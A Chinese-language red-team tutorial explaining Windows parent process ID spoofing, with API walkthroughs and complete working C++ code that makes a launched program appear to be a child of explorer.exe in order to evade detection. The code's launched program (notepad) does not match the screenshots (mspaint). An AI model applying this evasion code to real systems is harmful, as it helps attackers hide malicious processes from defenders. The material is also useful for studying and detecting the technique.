# 父进程欺骗

父进程欺骗是一种允许攻击者使用任意父进程启动程序的技术，这有助于使攻击者的程序看起来是由另一个进程生成的，有助于规避基于父子进程关系的检测，尤其是当我们的 Beacon 在非常规的进程下运行，进程的创建事件会引发警告。  
默认情况下，交互式用户启动的大多数程序都将为 explorer.exe 的子进程。

父进程欺骗可以由以下步骤实现：

指定父进程的名称或者 PID。这里，我们是指定的名称，如果相同名称的进程存在多个实例，那么取第一个。这里用到 **CreateToolhelp32Snapshot** 函数，用于创建给定进程的快照。

```c++
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

**TH32CS\_SNAPPROCESS** 常数表示包含系统的所有进程。然后通过 **Process32First** 函数来枚举进程。

```c++
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);
```

逐一比较进程名称，如果找到，返回第一个实例的 PID。这部分的代码如下：

```c++
DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}
```

一切顺利的话，我们会获得父进程的 PID，通过 OpenProcess 函数获得其句柄。

```c++
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
```

结构体 **STARTUPINFOEX** 有着 **lpAttributeList** 成员，得以让我们传递**额外的属性**给 **CreateProcess** 函数调用。

```c++
typedef struct _STARTUPINFOEXW {
  STARTUPINFOW                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXW, *LPSTARTUPINFOEXW;
```

为了实现父进程伪造，该属性应当为 **PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS**。

```c++
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,
  [in, out]       PSIZE_T                      lpSize
);
```

第一次调用 **InitializeProcThreadAttributeList** 函数，设置参数 **lpAttributeList** 为 **NULL**，这会让我们获得**属性列表**的**正确尺寸**。

```c++
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
```

然后，尺寸被保存在 **attributeSize** 变量中。为 **LPPROC\_THREAD\_ATTRIBUTE\_LIST** 数据 (lpAttributeList 指针所指向)分配空间，然后再次调用 **InitializeProcThreadAttributeList** 函数来初始化进程的属性列表。

```c++
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
```

有了父进程的句柄，然后调用 UpdateProcThreadAttribute 函数更新属性列表。函数原型如下：

```c++
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwFlags,
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,
  [in]            SIZE_T                       cbSize,
  [out, optional] PVOID                        lpPreviousValue,
  [in, optional]  PSIZE_T                      lpReturnSize
);
```

创建更新了属性列表之后的进程，**dwCreationFlags** 设置为 **EXTENDED\_STARTUPINFO\_PRESENT**。

```c++
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
```

最终代码如下：

```c++
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}



int main()
{
    DWORD pid = FindExplorerProcessId();
    if (pid != 0)
    {
        printf("The PID of the first instance of explorer.exe: %lu\n", pid);
    }
    else
    {
        printf("explorer.exe is not running.\n");
    }

	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}
```

查看当前的 **explorer.exe** 进程，有着诸多子进程，包括即将运行该程序的 cmd.exe。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ECXPmIFnppEI7nb3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ECXPmIFnppEI7nb3-image.png)

如果没有父进程欺骗，那么进程树的关系应该是 **explorer.exe -&gt; cmd.exe -&gt; ppid\_spoofing.exe -&gt; mspaint.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yE0SR5jQoOdL1RJF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yE0SR5jQoOdL1RJF-image.png)

我们看到，程序得以正确运行，mspaint.exe 成了 explorer.exe 的直接子进程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6HneAwnynrqpSYou-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6HneAwnynrqpSYou-image.png)